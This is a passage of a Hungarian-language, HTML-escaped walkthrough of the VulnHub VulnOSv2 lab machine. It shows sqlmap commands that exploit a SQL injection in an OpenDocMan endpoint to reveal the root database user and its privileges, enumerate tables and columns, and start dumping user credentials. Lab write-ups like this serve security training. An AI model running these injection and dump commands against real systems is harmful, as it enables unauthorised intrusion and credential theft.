&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;*&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; mysql
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;*&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; performance_schema
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;*&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; phpmyadmin&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Látszik a &lt;code&gt;Drupal&lt;/code&gt;, az &lt;code&gt;OpenDocMan&lt;/code&gt; és egy &lt;code&gt;phpmyadmin&lt;/code&gt; adatbázis is. Bár a phpmyadmin mappáját a dirb nem találta meg, így lehet hogy az csak ott maradt és nincs 
használva.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# root@kali:~# sqlmap -u &amp;quot;http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&amp;amp;add_value=odm_user&amp;quot; --current-user&lt;/span&gt;
         _
 ___ ___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_____ ___ ___  &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1.0.5.0#dev&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_ -&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; .&lt;span class=&quot;s1&quot;&gt;&amp;#39;| . |&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;|___|_  |_|_|_|_|__,|  _|&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;      |_|           |_|   http://sqlmap.org&lt;/span&gt;

&lt;span class=&quot;s1&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;[22:20:31] [INFO] fetching current user&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;current user:    &amp;#39;&lt;/span&gt;root@localhost&lt;span class=&quot;err&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Egy gyors ellenőrzés és kiderült hogy az adatbázis user maga a &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@kali:~# sqlmap -u &lt;span class=&quot;s2&quot;&gt;&amp;quot;http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&amp;amp;add_value=odm_user&amp;quot;&lt;/span&gt; --privileges
         _
 ___ ___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_____ ___ ___  &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1.0.5.0#dev&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_ -&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; .&lt;span class=&quot;s1&quot;&gt;&amp;#39;| . |&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;|___|_  |_|_|_|_|__,|  _|&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;      |_|           |_|   http://sqlmap.org&lt;/span&gt;

&lt;span class=&quot;s1&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;database management system users privileges:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;[*] &amp;#39;&lt;/span&gt;debian-sys-maint&lt;span class=&quot;s1&quot;&gt;&amp;#39;@&amp;#39;&lt;/span&gt;localhost&lt;span class=&quot;s1&quot;&gt;&amp;#39; (administrator) [28]:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: ALTER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: ALTER ROUTINE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE ROUTINE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE TABLESPACE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE TEMPORARY TABLES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE USER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE VIEW&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: DELETE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: DROP&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: EVENT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: EXECUTE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: FILE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: INDEX&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: INSERT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: LOCK TABLES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: PROCESS&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REFERENCES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: RELOAD&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REPLICATION CLIENT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REPLICATION SLAVE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SELECT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHOW DATABASES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHOW VIEW&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHUTDOWN&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SUPER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: TRIGGER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: UPDATE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;[*] &amp;#39;&lt;/span&gt;drupal7&lt;span class=&quot;s1&quot;&gt;&amp;#39;@&amp;#39;&lt;/span&gt;localhost&lt;span class=&quot;s1&quot;&gt;&amp;#39; [1]:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: USAGE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;[*] &amp;#39;&lt;/span&gt;phpmyadmin&lt;span class=&quot;s1&quot;&gt;&amp;#39;@&amp;#39;&lt;/span&gt;localhost&lt;span class=&quot;s1&quot;&gt;&amp;#39; [1]:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: USAGE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;[*] &amp;#39;&lt;/span&gt;root&lt;span class=&quot;s1&quot;&gt;&amp;#39;@&amp;#39;&lt;/span&gt;127.0.0.1&lt;span class=&quot;s1&quot;&gt;&amp;#39; (administrator) [28]:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: ALTER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: ALTER ROUTINE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE ROUTINE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE TABLESPACE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE TEMPORARY TABLES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE USER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE VIEW&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: DELETE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: DROP&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: EVENT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: EXECUTE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: FILE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: INDEX&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: INSERT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: LOCK TABLES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: PROCESS&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REFERENCES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: RELOAD&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REPLICATION CLIENT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REPLICATION SLAVE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SELECT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHOW DATABASES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHOW VIEW&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHUTDOWN&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SUPER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: TRIGGER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: UPDATE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;[*] &amp;#39;&lt;/span&gt;root&lt;span class=&quot;s1&quot;&gt;&amp;#39;@&amp;#39;&lt;/span&gt;::1&lt;span class=&quot;s1&quot;&gt;&amp;#39; (administrator) [28]:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: ALTER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: ALTER ROUTINE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE ROUTINE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE TABLESPACE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE TEMPORARY TABLES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE USER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE VIEW&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: DELETE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: DROP&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: EVENT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: EXECUTE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: FILE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: INDEX&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: INSERT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: LOCK TABLES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: PROCESS&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REFERENCES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: RELOAD&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REPLICATION CLIENT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REPLICATION SLAVE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SELECT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHOW DATABASES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHOW VIEW&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHUTDOWN&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SUPER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: TRIGGER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: UPDATE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;[*] &amp;#39;&lt;/span&gt;root&lt;span class=&quot;s1&quot;&gt;&amp;#39;@&amp;#39;&lt;/span&gt;localhost&lt;span class=&quot;s1&quot;&gt;&amp;#39; (administrator) [28]:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: ALTER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: ALTER ROUTINE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE ROUTINE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE TABLESPACE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE TEMPORARY TABLES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE USER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: CREATE VIEW&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: DELETE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: DROP&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: EVENT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: EXECUTE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: FILE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: INDEX&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: INSERT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: LOCK TABLES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: PROCESS&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REFERENCES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: RELOAD&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REPLICATION CLIENT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: REPLICATION SLAVE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SELECT&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHOW DATABASES&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHOW VIEW&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SHUTDOWN&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: SUPER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: TRIGGER&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;    privilege: UPDATE&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;[*] &amp;#39;&lt;/span&gt;root&lt;span class=&quot;s1&quot;&gt;&amp;#39;@&amp;#39;&lt;/span&gt;vulnosv2&lt;span class=&quot;err&quot;&gt;&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;administrator&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;28&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;És az is kiderült, hogy bizony neki teljes jogosultsága van, vagyis mindenhez van joga.&lt;/p&gt;

&lt;p&gt;Most próbáljuk megkeresni az adatbázisba regisztrált felhasználókat, keresve a &lt;code&gt;user&lt;/code&gt; és &lt;code&gt;password&lt;/code&gt; adatokat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# root@pentestlab:~/Hack/Vulnhub_-_VulnOSv2# sqlmap -u &amp;quot;http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&amp;amp;add_value=odm_user&amp;quot; -D jabcd0cs --tables&lt;/span&gt;
         _
 ___ ___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_____ ___ ___  &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1.0.5.0#dev&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_ -&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; .&lt;span class=&quot;err&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;__,&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;  _&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;   http://sqlmap.org

---
Database: jabcd0cs
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;15&lt;/span&gt; tables&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
+-------------------+
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_access_log    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_admin         &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_category      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_data          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_department    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_dept_perms    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_dept_reviewer &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_filetypes     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_log           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_odmsys        &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_rights        &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_settings      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_udf           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_user          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; odm_user_perms    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
+-------------------+&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Itt az &lt;code&gt;odm_user&lt;/code&gt; tábla lehet érdekes.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# root@pentestlab:~/Hack/Vulnhub_-_VulnOSv2# sqlmap -u &amp;quot;http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&amp;amp;add_value=odm_user&amp;quot; -D jabcd0cs -T odm_user --columns&lt;/span&gt;
         _
 ___ ___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_____ ___ ___  &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1.0.5.0#dev&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_ -&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; .&lt;span class=&quot;err&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;__,&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;  _&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;   http://sqlmap.org

---
Database: jabcd0cs
Table: odm_user
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;9&lt;/span&gt; columns&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
+---------------+------------------+
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; Column        &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; Type             &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
+---------------+------------------+
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; department    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; int&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;11&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; unsigned &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; Email         &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; varchar&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;50&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; first_name    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; varchar&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;255&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; id            &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; int&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;11&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; unsigned &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; last_name     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; varchar&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;255&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; password      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; varchar&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;50&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; phone         &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; varchar&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;20&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; pw_reset_code &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; char&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;32&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;         &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; username      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; varchar&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;25&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
+---------------+------------------+&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ez lesz az, ki is dump-olom.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# root@pentestlab:~/Hack/Vulnhub_-_VulnOSv2# sqlmap -u &amp;quot;http://192.168.10.242/jabcd0cs/ajax_udf.php?q=1&amp;amp;add_value=odm_user&amp;quot; -D jabcd0cs -T odm_user --dump         _&lt;/span&gt;
 ___ ___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_____ ___ ___  &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1.0.5.0#dev&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_ -&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; .&lt;span class=&quot;err&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; . &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;___&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;__,&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;  _&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;_&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;   http://sqlmap.org

---
